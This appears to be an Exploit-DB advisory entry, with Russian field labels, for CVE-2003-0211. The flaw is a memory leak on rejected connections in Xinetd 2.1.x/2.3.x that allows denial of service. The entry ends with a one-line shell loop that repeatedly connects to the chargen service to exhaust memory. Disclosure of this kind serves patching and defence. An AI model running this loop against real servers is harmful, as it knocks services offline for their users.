Exploit Xinetd 2.1.x/2.3.x - Rejected Connection Memory Leakage Denial of Service

[Exploiter]

EDB-ID

22508

Проверка EDB

1. Пройдено

Автор

STEVE GRUBB

Тип уязвимости

DOS

Платформа

LINUX

CVE

cve-2003-0211

Дата публикации

2003-04-18

source: https://www.securityfocus.com/bid/7382/info

A denial of service vulnerability has been reported for Xinetd. The vulnerability exists due to memory leaks occuring when connections are rejected.

Numerous, repeated connections to a vulnerable Xinetd server will result in the consumption of all available memory resources thereby causing a denial of service condition. 

while true; do telnet localhost chargen < /dev/null; done;